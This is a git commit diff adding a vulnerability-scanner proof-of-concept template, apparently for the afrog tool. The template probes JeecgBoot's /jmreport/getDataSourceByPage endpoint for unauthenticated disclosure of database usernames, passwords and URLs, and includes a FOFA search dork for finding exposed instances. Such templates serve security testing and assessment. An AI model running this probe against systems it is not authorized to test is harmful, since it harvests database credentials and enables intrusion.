feat: add curated internal network pocs

2026-09-26 21:21:53 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,27 @@
+id: jeecg-getdatasourcebypage-disclosure
+
+info:
+  name: JeecgBoot - GetDataSourceByPage Disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    fofa: app="jeecg-boot"
+  tags: jeecgboot,disclosure
+  created: 2026/01/08
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /jmreport/getDataSourceByPage
+    expression: |
+      response.status == 200 && 
+      "Content-Type" in response.headers &&
+      response.headers['Content-Type'].icontains('application/json') &&
+      response.body.ibcontains(b'"success":true') &&
+      response.body.ibcontains(b'"dbUsername":') &&
+      response.body.ibcontains(b'"dbPassword":') &&
+      response.body.ibcontains(b'"dbType":') &&
+      response.body.ibcontains(b'"dbUrl":')
+expression: r0()